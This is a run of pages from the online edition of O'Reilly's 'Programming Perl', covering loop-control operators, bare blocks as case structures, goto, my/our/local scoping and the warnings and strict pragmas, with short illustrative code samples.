The loop variable is valid only from within the dynamic or lexical scope of the loop and will be implicitly lexical if the variable was previously declared with my. This renders it invisible to any function defined outside the lexical scope of the variable, even if called from within that loop. However, if no lexical declaration is in scope, the loop variable will be a localized (dynamically scoped) global variable; this allows functions called from within the loop to access that variable. In either case, any previous value the localized variable had before the loop will be restored automatically upon loop exit.

If you prefer, you may explicitly declare which kind of variable (lexical or global) to use. This makes it easier for maintainers of your code to know what's really going on; otherwise, they'll need to search back up through enclosing scopes for a previous declaration to figure out which kind of variable it is:

for my  $i    (1 .. 10) { ... }         # $i always lexical
for our $Tick (1 .. 10) { ... }         # $Tick always global
When a declaration accompanies the loop variable, the shorter for spelling is preferred over foreach, since it reads better in English.

Here's how a C or Java programmer might first think to code up a particular algorithm in Perl:

for ($i = 0; $i < @ary1; $i++) {
    for ($j = 0; $j < @ary2; $j++) {
        if ($ary1[$i] > $ary2[$j]) {
            last;         # Can't go to outer loop. :-(
        }
        $ary1[$i] += $ary2[$j];
    }
    # this is where that last takes me
}
But here's how a veteran Perl programmer might do it:
WID: foreach $this (@ary1) {
    JET: foreach $that (@ary2) {
        next WID if $this > $that;
        $this += $that;
    }
}
See how much easier that was in idiomatic Perl? It's cleaner, safer, and faster. It's cleaner because it's less noisy. It's safer because if code gets added between the inner and outer loops later on, the new code won't be accidentally executed, since next (explained below) explicitly iterates the outer loop rather than merely breaking out of the inner one. And it's faster because Perl executes a foreach statement more rapidly than it would the equivalent for loop, since the elements are accessed directly instead of through subscripting.

But write it however you like. TMTOWTDI.

Like the while statement, the foreach statement can also take a continue block. This lets you execute a bit of code at the bottom of each loop iteration no matter whether you got there in the normal course of events or through a next.

Speaking of which, now we can finally say it: next is next.

4.4.4. Loop Control

We mentioned that you can put a LABEL on a loop to give it a name. The loop's LABEL identifies the loop for the loop-control operators next, last, and redo. The LABEL names the loop as a whole, not just the top of the loop. Hence, a loop-control operator referring to the loop doesn't actually "go to" the loop label itself. As far as the computer is concerned, the label could just as easily have been placed at the end of the loop. But people like things labeled at the top, for some reason.

Loops are typically named for the item the loop is processing on each iteration. This interacts nicely with the loop-control operators, which are designed to read like English when used with an appropriate label and a statement modifier. The archetypal loop works on lines, so the archetypal loop label is LINE:, and the archetypal loop-control operator is something like this:

next LINE if /^#/;      # discard comments

The syntax for the loop-control operators is:

last LABEL
next LABEL
redo LABEL
The LABEL is optional; if omitted, the operator refers to the innermost enclosing loop. But if you want to jump past more than one level, you must use a LABEL to name the loop you want to affect. That LABEL does not have to be in your lexical scope, though it probably ought to be. But in fact, the LABEL can be anywhere in your dynamic scope. If this forces you to jump out of an eval or subroutine, Perl issues a warning (upon request).

Just as you may have as many return operators in a function as you like, you may have as many loop-control operators in a loop as you like. This is not to be considered wicked or even uncool. During the early days of structured programming, some people insisted that loops and subroutines have only one entry and one exit. The one-entry notion is still a good idea, but the one-exit notion has led people to write a lot of unnatural code. Much of programming consists of traversing decision trees. A decision tree naturally starts with a single trunk but ends with many leaves. Write your code with the number of loop exits (and function returns) that is natural to the problem you're trying to solve. If you've declared your variables with reasonable scopes, everything gets automatically cleaned up at the appropriate moment, no matter how you leave the block.

The last operator immediately exits the loop in question. The continue block, if any, is not executed. The following example bombs out of the loop on the first blank line:

LINE: while (<STDIN>) {
    last LINE if /^$/;      # exit when done with mail header
    ...
}

The next operator skips the rest of the current iteration of the loop and starts the next one. If there is a continue clause on the loop, it is executed just before the condition is re-evaluated, just like the third component of a three-part for loop. Thus it can be used to increment a loop variable, even when a particular iteration of the loop has been interrupted by a next:

LINE: while (<STDIN>) {
    next LINE if /^#/;      # skip comments
    next LINE if /^$/;      # skip blank lines
    ...
} continue {
    $count++;
}

The redo operator restarts the loop block without evaluating the conditional again. The continue block, if any, is not executed. This operator is often used by programs that want to fib to themselves about what was just input. Suppose you were processing a file that sometimes had a backslash at the end of a line to continue the record on the next line. Here's how you could use redo for that:

while (<>) {
    chomp;
    if (s/\\$//) {
        $_ .= <>;
        redo unless eof;    # don't read past each file's eof
    }
    # now process $_
}
which is the customary Perl shorthand for the more explicitly (and tediously) written version:
LINE: while (defined($line = <ARGV>)) {
    chomp($line);
    if ($line =~ s/\\$//) {
        $line .= <ARGV>;
        redo LINE unless eof(ARGV);
    }
    # now process $line
}
Here's an example from a real program that uses all three loop-control operators. Although this particular strategy of parsing command-line arguments is less common now that we have the Getopts::* modules bundled with Perl, it's still a nice illustration of the use of loop-control operators on named, nested loops:
ARG: while (@ARGV && $ARGV[0] =~ s/^-(?=.)//) {
    OPT: for (shift @ARGV) {
         m/^$/       && do {                             next ARG; };
         m/^-$/      && do {                             last ARG; };
         s/^d//      && do { $Debug_Level++;             redo OPT; };
         s/^l//      && do { $Generate_Listing++;        redo OPT; };
         s/^i(.*)//  && do { $In_Place = $1 || ".bak";   next ARG; };
         say_usage("Unknown option: $_");
    }
}
One more point about loop-control operators. You may have noticed that we are not calling them "statements". That's because they aren't statements--although like any expression, they can be used as statements. You can almost think of them as unary operators that just happen to cause a change in control flow. So you can use them anywhere it makes sense to use them in an expression. In fact, you can even use them where it doesn't make sense. One sometimes sees this coding error:
open FILE, $file
     or warn "Can't open $file: $!\n", next FILE;   # WRONG
The intent is fine, but the next FILE is being parsed as one of the arguments to warn, which is a list operator. So the next executes before the warn gets a chance to emit the warning. In this case, it's easily fixed by turning the warn list operator into the warn function call with some suitably situated parentheses:
open FILE, $file
     or warn("Can't open $file: $!\n"), next FILE;   # okay
However, you might find it easier to read this:
unless (open FILE, $file) {
     warn "Can't open $file: $!\n";
     next FILE;
}

Previous | Home | Next
4.3. if and unless Statements | Book Index | 4.5. Bare Blocks
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Bare Blocks (Programming Perl)

 Book Home Programming PerlSearch this book

4.5. Bare Blocks

A BLOCK by itself (labeled or not) is semantically equivalent to a loop that executes once. Thus you can use last to leave the block or redo to restart the block.[4] Note that this is not true of the blocks in eval {}, sub {}, or, much to everyone's surprise, do {}. These three are not loop blocks because they're not BLOCKs by themselves; the keyword in front makes them mere terms in an expression that just happen to include a code block. Since they're not loop blocks, they cannot be given a label to apply loop controls to. Loop controls may only be used on true loops, just as a return may only be used within a subroutine (well, or an eval).

[4] For reasons that may (or may not) become clear upon reflection, a next also exits the once-through block. There is a slight difference, however: a next will execute a continue block, but a last won't.

Loop controls don't work in an if or unless, either, since those aren't loops. But you can always introduce an extra set of braces to give yourself a bare block, which does count as a loop:

if (/pattern/) {{
    last if /alpha/;
    last if /beta/;
    last if /gamma/;
    # do something here only if still in if()
}}

Here's how a block can be used to let loop-control operators work with a do{} construct. To next or redo a do, put a bare block inside:

do {{
    next if $x == $y;
    # do something here
}} until $x++ > $z;

For last, you have to be more elaborate:

{
    do {
        last if $x = $y ** 2;
        # do something here
    } while $x++ <= $z;
}
And if you want both loop controls available, you'll have put a label on those blocks so you can tell them apart:
DO_LAST: {
            do {
DO_NEXT:          {
                    next DO_NEXT if $x == $y;
                    last DO_LAST if $x =  $y ** 2;
                    # do something here
                  }
            } while $x++ <= $z;
         }
But certainly by that point (if not before), you'd be better off using an ordinary infinite loop with last at the end:
for (;;) {
    next if $x == $y;
    last if $x =  $y ** 2;
    # do something here
    last unless $x++ <= $z;
}

4.5.1. Case Structures

Unlike some other programming languages, Perl has no official switch or case statement. That's because Perl doesn't need one, having many ways to do the same thing. A bare block is particularly convenient for doing case structures (multiway switches). Here's one:

SWITCH: {
    if (/^abc/) { $abc = 1; last SWITCH; }
    if (/^def/) { $def = 1; last SWITCH; }
    if (/^xyz/) { $xyz = 1; last SWITCH; }
    $nothing = 1;
}
and here's another:
SWITCH: {
    /^abc/      && do { $abc = 1; last SWITCH; };
    /^def/      && do { $def = 1; last SWITCH; };
    /^xyz/      && do { $xyz = 1; last SWITCH; };
    $nothing = 1;
}
or, formatted so that each case stands out more:
SWITCH: {
    /^abc/      && do {
                        $abc = 1;
                        last SWITCH;
                   };
    /^def/      && do {
                        $def = 1;
                        last SWITCH;
                   };
    /^xyz/      && do {
                        $xyz = 1;
                        last SWITCH;
                    };
    $nothing = 1;
}
or even (horrors!):
if    (/^abc/) { $abc = 1 }
elsif (/^def/) { $def = 1 }
elsif (/^xyz/) { $xyz = 1 }
else           { $nothing = 1 }
In this next example, notice how the last operators ignore the do {} blocks, which aren't loops, and exit the for loop instead:
for ($very_nasty_long_name[$i++][$j++]->method()) {
    /this pattern/      and do { push @flags, '-e'; last; };
    /that one/          and do { push @flags, '-h'; last; };
    /something else/    and do {                    last; };
    die "unknown value: `$_'";
}
You might think it odd to loop over a single value, since you'll only go through the loop once. But it's convenient to use for/foreach's aliasing capability to make a temporary, localized assignment to $_. On repeated compares against the same long value, this makes it much easier to type and therefore harder to mistype. It avoids possible side effects from evaluating the expression again. And pertinent to this section, it's also one of the most commonly seen standard idioms for implementing a switch or case structure.

Cascading use of the ?: operator can also work for simple cases. Here we again use a for for its aliasing property to make repeated comparisons more legible:

for ($user_color_preference) {
    $value = /red/      ?   0xFF0000  :
             /green/    ?   0x00FF00  :
             /blue/     ?   0x0000FF  :
                            0x000000  ;   # black if all fail
}
For situations like this last one, it's sometimes better to build yourself a hash and quickly index into it to pull the answer out. Unlike the cascading conditionals we just looked at, a hash scales to an unlimited number of entries, and takes no more time to look up the first one than the last. The disadvantage is that you can only do an exact lookup, not a pattern match. If you have a hash like this:
%color_map = (
    azure       => 0xF0FFFF,
    chartreuse  => 0x7FFF00,
    lavender    => 0xE6E6FA,
    magenta     => 0xFF00FF,
    turquoise   => 0x40E0D0,
);
then exact string lookups run quickly:
$value = $color_map{ lc $user_color_preference } || 0x000000;
Even complicated multiway branching statements (with each case involving the execution of several different statements) can be turned into fast lookups. You just need to use a hash of references to functions. See the section Section 4.5, "Hashes of Functions" in Chapter 9, "Data Structures", for how to handle those.

Previous | Home | Next
4.4. Loop Statements | Book Index | 4.6. goto
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


goto (Programming Perl)

 Book Home Programming PerlSearch this book

4.6. goto

Although not for the faint of heart (nor for the pure of heart), Perl does support a goto operator. There are three forms: goto LABEL, goto EXPR, and goto &NAME.

The goto LABEL form finds the statement labeled with LABEL and resumes execution there. It cant be used to jump into any construct that requires initialization, such as a subroutine or a foreach loop. It also can't be used to jump into a construct that has been optimized away (see Chapter 18, "Compiling"). It can be used to go almost anywhere else within the current block or any block in your dynamic scope (that is, a block you were called from). You can even goto out of subroutines, but it's usually better to use some other construct. The author of Perl has never felt the need to use this form of goto (in Perl, that is--C is another matter).

The goto EXPR form is just a generalization of goto LABEL. It expects the expression to produce a label name, whose location obviously has to be resolved dynamically by the interpreter. This allows for computed gotos per FORTRAN, but isn't necessarily recommended if you're optimizing for maintainability:

goto(("FOO", "BAR", "GLARCH")[$i]);         # hope 0 <= i < 3

@loop_label = qw/FOO BAR GLARCH/;
goto $loop_label[rand @loop_label];         # random teleport
In almost all cases like this, it's usually a far, far better idea to use the structured control flow mechanisms of next, last, or redo instead of resorting to a goto. For certain applications, a hash of references to functions or the catch-and-throw pair of eval and die for exception processing can also be prudent approaches.

The goto &NAME form is highly magical and sufficiently removed from the ordinary goto to exempt its users from the opprobrium to which goto users are customarily subjected. It substitutes a call to the named subroutine for the currently running subroutine. This behavior is used by AUTOLOAD subroutines to load another subroutine and then pretend that the other subroutine was called in the first place. After the goto, not even caller will be able to tell that this routine was called first. The autouse, AutoLoader, and SelfLoader modules all use this strategy to define functions the first time they're called, and then to jump right to them without anyone ever knowing the functions weren't there all along.

Previous | Home | Next
4.5. Bare Blocks | Book Index | 4.7. Global Declarations
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Global Declarations (Programming Perl)

 Book Home Programming PerlSearch this book

4.7. Global Declarations

Subroutine and format declarations are global declarations. No matter where you place them, what they declare is global (it's local to a package, but packages are global to the program, so everything in a package is visible from anywhere). A global declaration can be put anywhere a statement can, but it has no effect on the execution of the primary sequence of statements--the declarations take effect at compile time.

This means you can't conditionally declare subroutines or formats by hiding them from the compiler inside a run-time conditional like an if, since only the interpreter pays attention to those conditions. Subroutine and format declarations (and use and no declarations) are seen by the compiler no matter where they occur.

Global declarations are typically put at the beginning or the end of your program, or off in some other file. However, if you're declaring any lexically scoped variables (see the next section), you'll want to make sure your format or subroutine definition falls within the scope of the variable declarations if you expect it to be able to access those private variables.

Note that we sneakily switched from talking about declarations to definitions. Sometimes it helps to split the definition of the subroutine from its declaration. The only syntactic difference between the two is that the definition supplies a BLOCK containing the code to be executed, while the declaration doesn't. (A subroutine definition acts as its own declaration if no declaration has been seen.) Splitting the definition from the declaration allows you to put the subroutine declaration at the front of the file and the definition at the end (with your lexically scoped variable declarations happily in the middle):

sub count (@);       # Compiler now knows how to call count().
my $x;               # Compiler now knows about lexical variable.
$x = count(3,2,1);   # Compiler can validate function call.
sub count (@) { @_ } # Compiler now knows what count() means.
As this example shows, subroutines don't actually have to be defined before calls to them can be compiled (indeed, the definition can even by delayed until first use, if you use autoloading), but declaring subroutines helps the compiler in various ways and gives you more options in how you can call them.

Declaring a subroutine allows it to be used without parentheses, as if it were a built-in operator, from that point forward in the compilation. (We used parentheses to call count in the last example, but we didn't actually need to.) You can declare a subroutine without defining it just by saying:

sub myname;
$me = myname $0             or die "can't get myname";
A bare declaration like that declares the function to be a list operator, not a unary operator, so be careful to use or there instead of ||. The || operator binds too tightly to use after list operators, though you can always use parentheses around the list operators arguments to turn the list operator back into something that behaves more like a function call. Alternatively, you can use the prototype ($) to turn the subroutine into a unary operator:
sub myname ($);
$me = myname $0             || die "can't get myname";
That now parses as you'd expect, but you still ought to get in the habit of using or in that situation. For more on prototypes, see Chapter 6, "Subroutines".

You do need to define the subroutine at some point, or you'll get an error at run time indicating that you've called an undefined subroutine. Other than defining the subroutine yourself, there are several ways to pull in definitions from elsewhere.

You can load definitions from other files with a simple require statement; this was the best way to load files in Perl 4, but there are two problems with it. First, the other file will typically insert subroutine names into a package (a symbol table) of its own choosing, not your packages. Second, a require happens at run time, so it occurs too late to serve as a declaration in the file invoking the require. There are times, however, when delayed loading is what you want.

A more useful way to pull in declarations and definitions is with the use declaration, which effectively requires the module at compile time (because use counts as a BEGIN block) and then lets you import some of the module's declarations into your own program. Thus use can be considered a kind of global declaration, in that it imports names at compile time into your own (global) package just as if you'd declared them yourself. See the section Section 4.1, "Symbol Tables" in Chapter 10, "Packages", for low-level mechanics on how importation works between packages; Chapter 11, "Modules", for how to set up a module's imports and exports; and Chapter 18, "Compiling" for an explanation of BEGIN and its cousins, CHECK, INIT, and END, which are also global declarations of a sort because they're dealt with at compile time and can have global effects.

Previous | Home | Next
4.6. goto | Book Index | 4.8. Scoped Declarations
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Scoped Declarations (Programming Perl)

 Book Home Programming PerlSearch this book

4.8. Scoped Declarations

Like global declarations, lexically scoped declarations have an effect at the time of compilation. Unlike global declarations, lexically scoped declarations only apply from the point of the declaration through the end of the innermost enclosing scope (block, file, or eval--whichever comes first). That's why we call them lexically scoped, though perhaps "textually scoped" would be more accurate, since lexical scoping has little to do with lexicons. But computer scientists the world over know what "lexically scoped" means, so we perpetuate the usage here.

Perl also supports dynamically scoped declarations. A dynamic scope also extends to the end of the innermost enclosing block, but in this case "enclosing" is defined dynamically at run time rather than textually at compile time. To put it another way, blocks nest dynamically by invoking other blocks, not by including them. This nesting of dynamic scopes may correlate somewhat to the nesting of lexical scopes, but the two are generally not identical, especially when any subroutines have been invoked.

We mentioned that some aspects of use could be considered global declarations, but other aspects of use are lexically scoped. In particular, use not only imports package symbols but also implements various magical compiler hints, known as pragmas (or if you're into classical forms, pragmata). Most pragmas are lexically scoped, including the use strict 'vars' pragma which forces you to declare your variables before you can use them. See the later section Section 4.9, "Pragmas".

A package declaration, oddly enough, is itself lexically scoped, despite the fact that a package is a global entity. But a package declaration merely declares the identity of the default package for the rest of the enclosing block. Undeclared, unqualified variable names[5] are looked up in that package. In a sense, a package is never declared at all, but springs into existence when you refer to something that belongs to that package. It's all very Perlish.

[5]Also unqualified names of subroutines, filehandles, directory handles, and formats.

4.8.1. Scoped Variable Declarations

Most of the rest of the chapter is about using global variables. Or rather, it's about not using global variables. There are various declarations that help you not use global variables--or at least, not use them foolishly.

We already mentioned the package declaration, which was introduced into Perl long ago to allow globals to be split up into separate packages. This works pretty well for certain kinds of variables. Packages are used by libraries, modules, and classes to store their interface data (and some of their semi-private data) to avoid conflicting with variables and functions of the same name in your main program or in other modules. If you see someone write $Some::stuff,[6] they're using the $stuff scalar variable from the package Some. See Chapter 10, "Packages".

[6] Or the archaic $Some'stuff, which probably shouldn't be encouraged outside of Perl poetry.

If this were all there were to the matter, Perl programs would quickly become unwieldy as they got longer. Fortunately, Perl's three scoping declarations make it easy to create completely private variables (using my), to give selective access to global ones (using our), and to provide temporary values to global variables (using local):

my $nose;
our $House;
local $TV_channel;
If more than one variable is listed, the list must be placed in parentheses. For my and our, the elements may only be simple scalar, array, or hash variables. For local, the constraints are somewhat more relaxed: you may also localize entire typeglobs and individual elements or slices of arrays and hashes:
my ($nose, @eyes, %teeth);
our ($House, @Autos, %Kids);
local (*Spouse, $phone{HOME});
Each of these modifiers offers a different sort of "confinement" to the variables they modify. To oversimplify slightly: our confines names to a scope, local confines values to a scope, and my confines both names and values to a scope.

Each of these constructs may be assigned to, though they differ in what they actually do with the values, since they have different mechanisms for storing values. They also differ somewhat if you don't (as we didn't above) assign any values to them: my and local cause the variables in question to start out with values of undef or (), as appropriate; our, on the other hand, leaves the current value of its associated global unchanged.

Syntactically, my, our, and local are simply modifiers (like adjectives) on an lvalue expression. When you assign to a modified lvalue, the modifier doesn't change whether the lvalue is viewed as a scalar or a list. To figure how the assignment will work, just pretend that the modifier isn't there. So either of:

my ($foo) = <STDIN>;
my @array = <STDIN>;
supplies a list context to the righthand side, while:
my $foo = <STDIN>;
supplies a scalar context.

Modifiers bind more tightly (with higher precedence) than the comma does. The following example erroneously declares only one variable, not two, because the list following the modifier is not enclosed in parentheses.

my $foo, $bar = 1;              # WRONG
This has the same effect as:
my $foo;
$bar = 1;
You'll get a warning about the mistake if warnings are enabled, whether via the -w or -W command-line switches, or, preferably, through the use warnings declaration explained later in Section 4.9, "Pragmas".

In general, it's best to declare a variable in the smallest possible scope that suits it. Since variables declared in a control-flow statement are visible only in the block governed by that statement, their visibility is reduced. It reads better in English this way, too.

sub check_warehouse {
    for my $widget (our @Current_Inventory) {
        print "I have a $widget in stock today.\n";
    }
}
The most frequently seen form of declaration is my, which declares lexically scoped variables for which both the names and values are stored in the current scope's temporary scratchpad and may not be accessed globally. Closely related is the our declaration, which enters a lexically scoped name in the current scope, just as my does, but actually refers to a global variable that anyone else could access if they wished. In other words, it's a global variable masquerading as a lexical.

The other form of scoping, dynamic scoping, applies to local variables, which despite the word "local" are really global variables and have nothing to do with the local scratchpad.

4.8.2. Lexically Scoped Variables: my

To help you avoid the maintenance headaches of global variables, Perl provides lexically scoped variables, often called lexicals for short. Unlike globals, lexicals guarantee you privacy. Assuming you don't hand out references to these private variables that would let them be fiddled with indirectly, you can be certain that every possible access to these private variables is restricted to code within one discrete and easily identifiable section of your program. That's why we picked the keyword my, after all.

A statement sequence may contain declarations of lexically scoped variables. Such declarations tend to be placed at the front of the statement sequence, but this is not a requirement. In addition to declaring variable names at compile time, the declarations act like ordinary run-time statements: each of them is elaborated within the sequence of statements as if it were an ordinary statement without the modifier:

my $name = "fred";
my @stuff = ("car", "house", "club");
my ($vehicle, $home, $tool) = @stuff;
These lexical variables are totally hidden from the world outside their immediately enclosing scope. Unlike the dynamic scoping effects of local (see the next section), lexicals are hidden from any subroutine called from their scope. This is true even if the same subroutine is called from itself or elsewhere--each instance of the subroutine gets its own "scratchpad" of lexical variables.

Unlike block scopes, file scopes don't nest; there's no "enclosing" going on, at least not textually. If you load code from a separate file with do, require, or use, the code in that file cannot access your lexicals, nor can you access lexicals from that file.

However, any scope within a file (or even the file itself) is fair game. It's often useful to have scopes larger than subroutine definitions, because this lets you share private variables among a limited set of subroutines. This is how you create variables that a C programmer would think of as "static":

{
    my $state = 0;

    sub on     { $state = 1 }
    sub off    { $state = 0 }
    sub toggle { $state = !$state }
}

The eval STRING operator also works as a nested scope, since the code in the eval can see its caller's lexicals (as long as the names aren't hidden by identical declarations within the eval's own scope). Anonymous subroutines can likewise access any lexical variables from their enclosing scopes; if they do so, they're what are known as closures.[7] Combining those two notions, if a block evals a string that creates an anonymous subroutine, the subroutine becomes a closure with full access to the lexicals of both the eval and the block, even after the eval and the block have exited. See the section Section 4.3.7, "Closures" in Chapter 8, "References".

[7]As a mnemonic, note the common element between "enclosing scope" and "closure". (The actual definition of closure comes from a mathematical notion concerning the completeness of sets of values and operations on those values.)

The newly declared variable (or value, in the case of local) does not show up until the statement after the statement containing the declaration. Thus you could mirror a variable this way:

my $x = $x;
That initializes the new inner $x with the current value $x, whether the current meaning of $x is global or lexical. (If you don't initialize the new variable, it starts out with an undefined or empty value.)

Declaring a lexical variable of a particular name hides any previously declared lexical of the same name. It also hides any unqualified global variable of the same name, but you can always get to the global variable by explicitly qualifying it with the name of the package the global is in, for example, $PackageName::varname.

4.8.3. Lexically Scoped Global Declarations: our

A better way to access globals, especially for programs and modules running under the use strict declaration, is the our declaration. This declaration is lexically scoped in that it applies only through the end of the current scope. But unlike the lexically scoped my or the dynamically scoped local, our does not isolate anything to the current lexical or dynamic scope. Instead, it provides access to a global variable in the current package, hiding any lexicals of the same name that would have otherwise hidden that global from you. In this respect, our variables act just like my variables.

If you place an our declaration outside any brace-delimited block, it lasts through the end of the current compilation unit. Often, though, people put it just inside the top of a subroutine definition to indicate that they're accessing a global variable:

sub check_warehouse {
    our @Current_Inventory;
    my  $widget;
    foreach $widget (@Current_Inventory) {
        print "I have a $widget in stock today.\n";
    }
}
Since global variables are longer in life and broader in visibility than private variables, we like to use longer and flashier names for them than for temporary variable. This practice alone, if studiously followed, can do as much as use strict can toward discouraging the use of global variables, especially in less prestidigitatorial typists.

Repeated our declarations do not meaningfully nest. Every nested my produces a new variable, and every nested local a new value. But every time you use our, you're talking about the same global variable, irrespective of nesting. When you assign to an our variable, the effects of that assignment persist after the scope of the declaration. That's because our never creates values; it just exposes a limited form of access to the global, which lives forever:

our $PROGRAM_NAME = "waiter";
{
    our $PROGRAM_NAME = "server";
    # Code called here sees "server".
    ...
}
# Code executed here still sees "server".

Contrast this with what happens under my or local, where after the block, the outer variable or value becomes visible again:

my $i = 10;
{
    my $i = 99;
    ...
}
# Code compiled here sees outer variable.

local $PROGRAM_NAME = "waiter";
{
    local $PROGRAM_NAME = "server";
    # Code called here sees "server".
    ...
}
# Code executed here sees "waiter" again.
It usually only makes sense to assign to an our declaration once, probably at the very top of the program or module, or, more rarely, when you preface the our with a local of its own:
{
    local our @Current_Inventory = qw(bananas);
    check_warehouse();  # no, we haven't no bananas :-)
}

4.8.4. Dynamically Scoped Variables: local

Using a local operator on a global variable gives it a temporary value each time local is executed, but it does not affect that variable's global visibility. When the program reaches the end of that dynamic scope, this temporary value is discarded and the original value restored. But it's always still a global variable that just happens to hold a temporary value while that block is executing. If you call some other function while your global contains the temporary value and that function accesses that global variable, it sees the temporary value, not the original one. In other words, that other function is in your dynamic scope, even though it's presumably not in your lexical scope.[8]

[8] That's why lexical scopes are sometimes called static scopes: to contrast them with dynamic scopes and emphasize their compile-time determinability. Don't confuse this use of the term with how static is used in C or C++. The term is heavily overloaded, which is why we avoid it.

If you have a local that looks like this:

{
    local $var = $newvalue;
    some_func();
    ...
}
you can think of it purely in terms of run-time assignments:
{
    $oldvalue = $var;
    $var = $newvalue;
    some_func();
    ...
}
continue {
    $var = $oldvalue;
}
The difference is that with local the value is restored no matter how you exit the block, even if you prematurely return from that scope. The variable is still the same global variable, but the value found there depends on which scope the function was called from. That's why it's called dynamic scoping--because it changes during run time.

As with my, you can initialize a local with a copy of the same global variable. Any changes to that variable during the execution of a subroutine (and any others called from within it, which of course can still see the dynamically scoped global) will be thrown away when the subroutine returns. You'd certainly better comment what you are doing, though:

# WARNING: Changes are temporary to this dynamic scope.
local $Some_Global = $Some_Global;
A global variable then is still completely visible throughout your whole program, no matter whether it was explicitly declared with our or just allowed to spring into existence, or whether it's holding a local value destined to be discarded when the scope exits. In tiny programs, this isn't so bad, but for large ones, you'll quickly lose track of where in the code all these global variables are being used. You can forbid accidental use of globals, if you want, through the use strict 'vars' pragma, described in the next section.

Although both my and local confer some degree of protection, by and large you should prefer my over local. Sometimes, though, you have to use local so you can temporarily change the value of an existing global variable, like those listed in Chapter 28, "Special Names". Only alphanumeric identifiers may be lexically scoped, and many of those special variables aren't strictly alphanumeric. You also need to use local to make temporary changes to a package's symbol table as shown in the section Section 4.1, "Symbol Tables" in Chapter 10, "Packages". Finally, you can use local on a single element or a whole slice of an array or a hash. This even works if the array or hash happens to be a lexical variable, layering local's dynamic scoping behavior on top of those lexicals. We won't talk much more about the semantics of local here. See local in Chapter 29, "Functions" for more information.

Previous | Home | Next
4.7. Global Declarations | Book Index | 4.9. Pragmas
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Pragmas (Programming Perl)

 Book Home Programming PerlSearch this book

4.9. Pragmas

Many programming languages allow you to give hints to the compiler. In Perl, these hints are conveyed to the compiler with the use declaration. Some pragmas are:

use warnings;
use strict;
use integer;
use bytes;
use constant pi => ( 4 * atan2(1,1) );
Perl pragmas are all described in Chapter 31, "Pragmatic Modules", but right now we'll just talk specifically about a couple that are most useful with the material covered in this chapter.

Although a few pragmas are global declarations that affect global variables or the current package, most are lexically scoped declarations whose effects are constrained to last only until the end of the enclosing block, file, or eval (whichever comes first). A lexically scoped pragma can be countermanded in an inner scope with a no declaration, which works just like use but in reverse.

4.9.1. Controlling Warnings

To show how this works, we'll manipulate the warnings pragma to tell Perl whether to issue warnings for questionable practices:

use warnings;       # Enable warnings from here till end of file.
...
{
    no warnings;    # Disable warnings through end of block.
    ...
}
# Warnings are automatically enabled again here.
Once warnings are enabled, Perl complains about variables used only once, variable declarations that mask other declarations in the same scope, improper conversions of strings into numbers, using undefined values as legitimate strings or numbers, trying to write to files you only opened read-only (or didn't open at all), and many other conditions documented in Chapter 33, "Diagnostic Messages".

The use warnings pragma is the preferred way to control warnings. Old programs could only use the -w command-line switch or modify the global $^W variable:

{
    local $^W = 0;
    ...
}
It's much better to use the use warnings and no warnings pragmas. A pragma is better because it happens at compile time, because it's a lexical declaration and therefore cannot affect code it wasn't intended to affect, and because (although we haven't shown you in these simple examples) it affords fine-grained control over discrete classes of warnings. For more about the warnings pragma, including how to convert merely noisy warnings into fatal errors, and how to override the pragma to turn on warnings globally even if a module says not to, see use warnings in Chapter 31, "Pragmatic Modules".

4.9.2. Controlling the Use of Globals

Another commonly seen declaration is the use strict pragma, which has several functions, one of which is to control the use of global variables. Normally, Perl lets you create new globals (or all too often, step on old globals) just by mentioning them. No variable declarations are necessary--by default, that is. Because unbridled use of globals can make large programs or modules painful to maintain, you may sometimes wish to discourage their accidental use. As an aid to preventing such accidents, you can say:

use strict 'vars';
This means that any variable mentioned from here to the end of the enclosing scope must refer either to a lexical variable or to an explicitly allowed global. If it's not one of those, a compilation error results. A global is explicitly allowed if one of the following is true:

  • It's one of Perl's program-wide special variables (see Chapter 28, "Special Names").

  • It's fully qualified with its package name (see Chapter 10, "Packages"),

  • It's imported into the current package (see Chapter 11, "Modules").

  • It's masquerading as a lexically scoped variable via an our declaration. (This is the main reason we added our declarations to Perl.)

Of course, there's always the fifth alternative--if the pragma proves burdensome, simply countermand it within an inner block using:

no strict 'vars'
You can also turn on strict checking of symbolic dereferences and accidental use of barewords with this pragma. Normally people just say:
use strict;
to enable all three strictures. See the use strict entry in Chapter 31, "Pragmatic Modules" for more information.

Previous | Home | Next
4.8. Scoped Declarations | Book Index | 5. Pattern Matching
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Pattern Matching (Programming Perl)

 Book Home Programming PerlSearch this book

Chapter 5. Pattern Matching

Contents:

The Regular Expression Bestiary
Pattern-Matching Operators
Metacharacters and Metasymbols
Character Classes
Quantifiers
Positions
Capturing and Clustering
Alternation
Staying in Control
Fancy Patterns

Perl's built-in support for pattern matching lets you search large amounts of data conveniently and efficiently. Whether you run a huge commercial portal site scanning every newsfeed in existence for interesting tidbits, or a government organization dedicated to figuring out human demographics (or the human genome), or an educational institution just trying to get some dynamic information up on your web site, Perl is the tool of choice, in part because of its database connections, but largely because of its pattern-matching capabilities. If you take "text" in the widest possible sense, perhaps 90% of what you do is 90% text processing. That's really what Perl is all about and always has been about--in fact, it's even part of Perl's name: Practical Extraction and Report Language. Perl's patterns provide a powerful way to scan through mountains of mere data and extract useful information from it.

You specify a pattern by creating a regular expression (or regex), and Perl's regular expression engine (the "Engine", for the rest of this chapter) then takes that expression and determines whether (and how) the pattern matches your data. While most of your data will probably be text strings, there's nothing stopping you from using regexes to search and replace any byte sequence, even what you'd normally think of as "binary" data. To Perl, bytes are just characters that happen to have an ordinal value less than 256. (More on that in Chapter 15, "Unicode".)

If you're acquainted with regular expressions from some other venue, we should warn you that regular expressions are a bit different in Perl. First, they aren't entirely "regular" in the theoretical sense of the word, which means they can do much more than the traditional regular expressions taught in computer science classes. Second, they are used so often in Perl that they have their own special variables, operators, and quoting conventions which are tightly integrated into the language, not just loosely bolted on like any other library. Programmers new to Perl often look in vain for functions like these:

match( $string, $pattern );
subst( $string, $pattern, $replacement );
